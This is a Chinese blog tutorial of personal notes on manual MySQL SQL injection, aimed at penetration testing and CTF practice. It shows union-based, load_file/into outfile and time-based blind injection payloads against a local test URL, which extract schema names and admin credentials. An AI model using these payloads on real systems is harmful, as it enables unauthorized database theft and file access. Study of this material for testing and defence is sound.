mysql注入篇
Posted cagebird
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql注入篇相关的知识,希望对你有一定的参考价值。
博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑。
由于我没有找见php的实战本地源码,所以只好用一些漏洞平台的源码来演示了,演示不了的,只能列代码,没有实操图。毕竟找不见源码,,没法。。。
首先我们都知道mysql数据库和Access数据库的不同,不同在mysql是分多个数据库名的。
就像像我上图贴的这个格式一样,原谅我是在是没有本地源码,连数据库的都没有,所以,贴不开实际图。
在mysql注入中,我们不细谈mysql其他的技巧类,只讲注入,说到这里,这个数据库可以分为两个部分,一个是5.0以上,一个是5.0以下。因为在5.0以上的版本中,会存在一个类似虚拟的information_schema 这个数据库,里面汇总了该大数据库下,所有的数据,也就是说是在其他数据库A,数据库B以内的数据,都可以在这里找见,而5.0以下的,就只能和Access数据库一样靠猜解库名,表名,列名。
现在来介绍几个在渗透测试中常用的几个函数和表库名。
数据库名:database()
数据库版本: version()
数据库用户: user()
操作系统: @@version_compile_os
系统用户名: system_user()
当前用户名: current_user
连接数据库的用户名:session_user()
读取数据库路径:@@datadir
MYSQL安装路径:@@basedir
load_file 转成16进制或者10进制 MYSQL读取本地文件函数
into outfile 写入函数
储存所有表名信息的表 : information_schema.tables
表名 : table_name
数据库名: table_schema
列名 : column_name
储存所有列名信息的表 : information_schema.columns
好了下面就开始记录我构造的语句了,这里先说一点,我会总结的很细,但是我不会在这篇文章里总结一些注入绕过的技巧,只会总结一些注入得库,表,列的语句。mysql注入可分为很多中注入方法,从普通注入,报错注入,再到盲注,还有一些奇葩的注入点语句,也就是这些。关于大家都知道的post注入,cookie注入,字符串注入,搜索注入,这些注入技巧,我会专门开一片文章记录下,因为这些都是技巧性的。
我现在先记录mysql5.0 以上的注入方法,5.0以下的就像我前面的说的一样,没有规律可循,全靠蒙,全靠猜,和Access数据库一样。首先我需要判断是否可以注入,然后再判断 字段数,这两个步骤和Access数据库注入一样,都是 and 1=1 , and 1=2 ,还有 order by 字段数。剩下的注入库名,表名,列名,数据才是重点。
http://127.0.0.1/mysql/sql.php?x=1
假如这是一个注入点,我们知道他的字段数是3,那么我们的语句就是 :
http://127.0.0.1/mysql/sql.php?x=1 union select 1,2,3
然后直接回车,查看能否爆出数字,这里和Access的不同是,这里不需要在后面面加入表名,因为我们也不知道表名是啥,如果是5.0以下的,我们就只能像Access呢个的进行猜了。
假如爆出1,2 ,3 这三个字段数,那我们就可以注入一些信息了。
http://127.0.0.1/mysql/sql.php?x=1 union select database(),version(),user()
这三个函数,我们分别替代了1,2,3这三个位置,然后就可以得出数据库名,数据库版本,数据库用户,记住这是当前的数据库的名字,和用户。
假如我们得知:
当前数据库名:sqlin
数据库版本:5.5.40
当前数据库用户:root@localhost
当然我们也可以替换成其他的函数,比如 @datadir 来获取数据库路径, @@version_compile_os 来获取操作系统,对了说到操作系统,win对大小写不铭感,但是Linux对大小很铭感,不能出错的,这个要记住。
下面开始构造获取当前数据库下的表名:
http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(table_name),2,3 from
information_schema.tables where table_schema=0x73716C696E20
这个语句的意思就是获取当前数据库下所有表名,0x73716C696E20
这个是hex编码,大家可以用小葵转换工具来转换,就是把第一步收集到的当前数据库名hex编码一下。当然我们也可以一个一个的来注入出当前数据库下所有表名,等等,让我去找找我的笔记本,我翻翻我自己在本子上记录的。额,找不见了,估计忘学校没拿了,,我去网上找找贴一段。
http://127.0.0.1/mysql/sql.php?x=1 union select table_name,2,3, from information_schema.SCHEMATA limit 0,1
这个也是可以注入出当前数据库的表名的,只不过是一个一个的输出,你知道控制limit后面的数字就可以,比如 0,1 、1,2、2,3 就是这个格式的。
不过我还是喜欢全部爆出来,然后再一个一个去找可能存在账密的表,所以我就只记录全部爆出的。
假如我们选中了一个叫 admin 的这个表名,那么就开始爆出该表名下的列名。
下面开始构造注入当前表名下的列名的语句:
http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(column_name),2,3 from
information_schema.columns where table_name=0x61646D696E
这个就可以爆出所有该表名的下的列名,0x61646D696E 这个是我们刚才选中的 admin 这个表名的hex的转码。
这一步下去,我们就得到列名了,假如我们选中了 username ,password 这两个列名,那么我就开始爆数据了,这个就很简单了,
http://127.0.0.1/mysql/sql.php?x=1 union select 1,username,password from admin
这个是不是就出来了,对了还有个方法,就利用一个字数点,就爆出以内全部的列名下的信息。
http://127.0.0.1/mysql/sql.php?x=1 union select 1,group_concat(username,0x5c,password),3 from admin
这个就是利用一个点,出来全部的数据。
这个是最简单的常规测试的,我在上面的函数里是不是还列出了一个load_file() 这个函数,这个是用来读取路径内的内容的,但是必须是绝对路径,比如: D:\\mysql\\123,txt 它只能读取这样的绝对路径的内容。
这是一个例子:
http://127.0.0.1/mysql/sql.php?x=1 union select load_file(\'D:/mysql/123,txt \'),2,3
这个就是一个读取,root权限和普通权限可以有很大区别的,如果是root,你可以读取全部的,如果不是root ,是普通,你只能读取普通用户才能读的文件。对了,root,,,前面还有一个函数,我得说说 into outfile 写入函数 ,这个必须是root权限才行的,而且你还得需要知道绝对路径。
这是一个例子:
http://127.0.0.1/mysql/sql.php?x=1 union select \'shiyan\',2,3 into outfile \'D:/mysql/123,txt\'
对了,不知道你们发现了没有我在地址用了 / 这个,而没有用 \\ 这个,算个小谜题,我不细说了。
到这里是不是就可以说完了?错!我盲注语句,还有报错语句还没汇总了。。。现在开始汇总。
先构造盲注语句吧,盲注的核心就是靠 if 判断来注入的,我去。。。我在本地的记事本上构造了半天,才想开一个问题,,,盲注不是几个简单的语句就能概括全的,就像上面写的虽然总结了,但是也只是常用的mysql手工注入,还有很多的其他的等等的。。。算了,我直接贴一个吧,在乌云上的文章,,一位大神总结的,但是也只是一小部分,还有其他的很多构造语句,他的文章对于理解盲注可以理解下,不过一般这类测试都是直接上sqlmap神器直接跑的,毕竟手工注入也只是因为灵活的特性才一直保留的,可以各种绕,各种测试,所以也是必须得会的。
我要开始贴这个大神总结mysql手工盲注了,(如果大神本人看到了,觉得侵权了,我可以私信我,我会删的。)
-----------------------------------------------------------------------------------------------------------
mysql手工盲注
作者:474082729@qq.com
盲注的核心是靠 if 判断来注入
手工盲注之前先复习一下if 判断等函数
version() 是查看数据库版本
database() 查看数据库名
user() 查看当前用户
length( xxxxx ) 函数是统计字符串的长度
mid(str,1,3) 字符串截取
从字节1开始截 截到3就结束
知乎专栏
ORD() 转换成ascii码
ascii码对照表 ASCII码对照表
IF 语法:
if (条件,True,False);
开始手工盲注
select * from admin where user = "admin" and sleep(2); 执行需要2秒
1.获取数据库名长度
database() 查看数据库名
## ( select length(database() ) )
查询数据库名长度
select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );
如果数据库的长度等于2的话那么就执行true 否则就执行False
最后变成了 sleep(0)
如果数据库长度等于 7 的话 就执行true
最后变成了 sleep(5)
也就是select * from admin where user = "admin” and sleep(5)
最后得知数据库长度是 7 那么接下来就是获取数据库名了
2.获取数据库名
数据库长度是 7
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = \'a\' ) , 5,0 ) );
执行执行False 说明 第一个字节不是a
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = \'x\' ) , 5,0 ) );
执行执行true 执行了5秒 说明第一个字节是x
然后慢慢注入到7。。。。。。
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = \'x\') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = \'i\' ) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = \'n\') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = \'d\') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = \'o\') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = \'n\') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = \'g\') , 5,0 ) );
第一个字节是x
第二个字节是i
第三个字节是n
第四个字节是d
第五个字节是o
第六个字节是n
第七个字节是g
全都是执行 5秒 然后得知 数据库是 xindong
当然了 这方法注入比较慢 比如有些数据库是特殊符号呢?那怎么办?一个一个符号猜解吗?
采用ORD函数进行ascii码来判断会快点
比如:
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );
条件:大于200 执行false 说明 不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );
条件:大于100 执行true 说明大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );
条件:大于120 执行false 说明不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );
条件:大于110 执行true 说明大于
说明数据库第一个字节的ascii码大于110小于120
说明是110~120之间
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );
等于 120 执行true 说明第一个字节的ascii码是120
最后解码得出是 x
3.获取表名长度
select * from admin where user = \'admin\' and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
字节等于 5 执行true
说明表名长度为5
4.获取表名
获取第1个字节
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))=\'a\' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是a
获取第2个字节
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))=\'d\' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是d
获取第3个字节
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))=\'m\' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是m
获取第4个字节
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))=\'i\' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是i
获取第5个字节
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))=\'n\' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是n
5.获取表名的第一个字段长度
表名是:admin 16进制:61646d696e
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
请求时间5秒 说明第一个子段有4个字节
6.获取表名的第一个字段名
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= \'u\',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= \'s\',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= \'e\',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= \'r\',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
爆出第一个字段是 user
然后第一个字段判断可能是用户名 还少来个密码字段那么就在 5.获取表名的第一个字段长度 把limit 1,1 获取下一个字段长度再进行获取密码字段
7.获取数据库内容
7.1 先猜第一个字段的数据库的长度
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;
执行5秒 说明这个字段的数据内容字节长度是5
那么就是获取数据了
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if (mid(user,1,1) = \'a\' , 5,0) ) from admin limit 0,1;
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if (mid(user,2,1) = \'d\' , 5,0) ) from admin limit 0,1;
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if (mid(user,3,1) = \'m\' , 5,0) ) from admin limit 0,1;
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if (mid(user,4,1) = \'i\' , 5,0) ) from admin limit 0,1;
select * from admin where user = \'admin\' and 1=2 union select 1,sleep( if (mid(user,5,1) = \'n\' , 5,0) ) from admin limit 0,1;
然后用户名就是 admin 了
终于贴完了,,,,,这些基本上就可以了解到手工盲注的原理和构造了,当然如果还想继续深入的话,可以去百度吧,,,去搜索吧。。。毕竟这些只是一些皮毛。
下面开始说其他的报错注入了,,,这个我研究了好久,后来一过年,我又忘的差不多了。。。。好多种报错方式注入,,这个我自己是真的只能找资料汇总到一块了,我自己是手写不开的,,都忘的差不多了。。。。
都是超链接,自己想深入的可以再去找找资料。
十种MySQL报错注入
根据mysql报错进行回显注入的原理是什么?
MySQL暴错注入方法整理
Mysql报错注入原理分析(count()、rand()、group by)
MySQL注入总结&MySQL暴错注入方法整理
经典的MySQL Duplicate entry报错注入
好了,这些就差不多了,都是我看过的,虽说还是不太精通,,,毕竟这个在ctf中才会出现的题。。。。。
总结下吧,没有源码,无法演示,上面说的我用攻防平台吧,后来想了想,我还准备专门开帖子,记录我打本地攻防平台的帖子,提前上的话,感觉我就没动力记录的了。这个文章,正如上面说的,很多技巧都没记录,纯粹的简单的记录了下,毕竟我想把技巧性的再汇总到一个帖子里。
每记录一下,都是对自己知识的复习,就像人家搞培训的,多讲讲就不会忘,我是自己多写写多汇总汇总,就算忘了,我自己翻看我自己的记录也会很快想起来的。
以上是关于mysql注入篇的主要内容,如果未能解决你的问题,请参考以下文章